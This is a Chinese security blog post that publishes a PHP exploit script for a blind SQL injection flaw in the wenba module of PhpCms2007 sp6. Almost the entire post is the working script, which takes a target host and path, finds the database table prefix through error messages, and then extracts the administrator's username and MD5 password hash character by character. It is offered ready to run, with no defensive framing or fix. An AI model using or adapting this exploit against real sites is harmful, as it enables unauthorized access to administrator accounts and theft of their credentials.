导航

Web安全手册

分享本身就是件快乐的事 我因别人得到帮助而感到幸福

« 关于SODB-2008-13网通用户访问VeryCD等P2P网站被劫持的分析和解决方案 »

PhpCms2007 sp6 SQL injection 0day (wenba)

早前在phpcms 0day频发的时候写的这个exp,藏着这个exp藏了一个多月吧,也没有拿它去打站,一直丢在我硬盘里,今天看到11期的黑防公布了,于是我也丢出来吧: 
 

PHP代码
  1. <?  
  2. print_r(' 
  3. -------------------------------------------------------------------------------- 
  4. Phpcms2007 (wenba)blind SQL injection / admin credentials disclosure exploit 
  5. BY oldjun[S.U.S](http://www.oldjun.com) 
  6. -------------------------------------------------------------------------------- 
  7. ');  
  8. if ($argc<3) {  
  9. print_r(' 
  10. -------------------------------------------------------------------------------- 
  11. Usage: php '.$argv[0].' host path 
  12. host: target server (ip/hostname),without"http://" 
  13. path: path to phpcms 
  14. Example: 
  15. php '.$argv[0].' localhost / 
  16. -------------------------------------------------------------------------------- 
  17. ');  
  18. die;  
  19. }  
  20.   
  21. function sendpacketii($packet)  
  22. {  
  23. global  $host$html;  
  24. $ock=fsockopen(gethostbyname($host),'80');  
  25. if (!$ock) {  
  26. echo 'No response from '.$hostdie;  
  27. }  
  28. fputs($ock,$packet);  
  29. $html='';  
  30. while (!feof($ock)) {  
  31. $html.=fgets($ock);  
  32. }  
  33. fclose($ock);  
  34. }  
  35.   
  36. $host=$argv[1];  
  37. $path=$argv[2];  
  38. $prefix="phpcms_";  
  39. $cookie="PHPSESSID=2456c055c52722efa1268504d07945f2";  
  40.   
  41. if (($path[0]<>'/'or ($path[strlen($path)-1]<>'/'))  
  42. {echo "Error... check the path!\r\n\r\n"die;}  
  43.   
  44. /*get   $prefix*/  
  45. $packet ="GET ".$path."wenba/my_answer.php?status=1/**/union/**/select HTTP/1.0\r\n";  
  46. $packet.="Host: ".$host."\r\n";  
  47. $packet.="Cookie: ".$cookie."\r\n";  
  48. $packet.="Connection: Close\r\n\r\n";  
  49. sendpacketii($packet);  
  50. //echo $html;  
  51. if (eregi("in your SQL syntax",$html))  
  52. {  
  53. $temp=explode("FROM ",$html);  
  54. if(isset($temp[1])){$temp2=explode("wenba_answer",$temp[1]);}  
  55. if($temp2[0])  
  56. $prefix=$temp2[0];  
  57. echo "[+]prefix -> ".$prefix."\r\n";  
  58. }  
  59. echo "[~]exploting now,plz waiting...\r\n\r\n";  
  60.   
  61. $packet ="GET ".$path."wenba/my_answer.php?status=1/**/or/**/1=1 HTTP/1.0\r\n";  
  62. $packet.="Host: ".$host."\r\n";  
  63. $packet.="Connection: Close\r\n\r\n";  
  64. sendpacketii($packet);  
  65. if (eregi(chr(182).chr(212).chr(178).chr(187).chr(198).chr(240),$html)) {echo "Error... There is no data in wenba,please register two users.One asks then the other answers!\r\n\r\n"die;}  
  66.   
  67. $chars[0]=0;//null  
  68. $chars=array_merge($chars,range(48,57)); //numbers  
  69. $chars=array_merge($chars,range(97,102));//a-f letters  
  70. $j=1;$password="";  
  71. while (!strstr($password,chr(0)))  
  72. {  
  73. for ($i=0; $i<=255; $i++)  
  74. {  
  75. if (in_array($i,$chars))  
  76. {  
  77. $packet ="GET ".$path."wenba/my_answer.php?status=1/**/or/**/1=(select/**/count(*)/**/from/**/".$prefix."member/**/where/**/ASCII(SUBSTRING(password,".$j.",1))=".$i."/**/and/**/userid=1) HTTP/1.0\r\n";  
  78. $packet.="Host: ".$host."\r\n";  
  79. $packet.="Connection: Close\r\n\r\n";  
  80. sendpacketii($packet);  
  81. if (!eregi(chr(182).chr(212).chr(178).chr(187).chr(198).chr(240),$html)) {$password.=chr($i);echo"[+]pwd:".$password."\r\n";break;}  
  82. }  
  83. if ($i==255) {die("Exploit failed...");}  
  84. }  
  85. $j++;  
  86. }  
  87.   
  88. $j=1;$username="";  
  89. while (!strstr($username,chr(0)))  
  90. {  
  91. for ($i=0; $i<=255; $i++)  
  92. {  
  93. $packet ="GET ".$path."wenba/my_answer.php?status=1/**/or/**/1=(select/**/count(*)/**/from/**/".$prefix."member/**/where/**/ASCII(SUBSTRING(username,".$j.",1))=".$i."/**/and/**/userid=1) HTTP/1.0\r\n";  
  94. $packet.="Host: ".$host."\r\n";  
  95. $packet.="Connection: Close\r\n\r\n";  
  96. sendpacketii($packet);  
  97. if (!eregi(chr(182).chr(212).chr(178).chr(187).chr(198).chr(240),$html)) {$username.=chr($i);echo"[+]username:".$username."\r\n";break;}  
  98. if ($i==255) {die("Exploit failed...");}  
  99. }  
  100. $j++;  
  101. }  
  102. print_r(' 
  103. -------------------------------------------------------------------------------- 
  104. [+]username -> '.$username.' 
  105. [+]password(md5 32λ) -> '.$password.' 
  106. -------------------------------------------------------------------------------- 
  107. ');  
  108. function is_hash($hash)  
  109. {  
  110. if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}  
  111. else {return false;}  
  112. }  
  113. if (is_hash($password)) {echo "Exploit succeeded...";}  
  114. else {echo "Exploit failed...";}  
  115. ?>   



From http://www.oldjun.com/blog/index.php/archives/32/

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

Powered By Z-Blog .Theme from Google黑板报 By Washun

Copyright 2008-2009 Pcsec.org. Some Rights Reserved.苏ICP备08110306号

Search

网站分类

文章归档

最新评论及回复

最近发表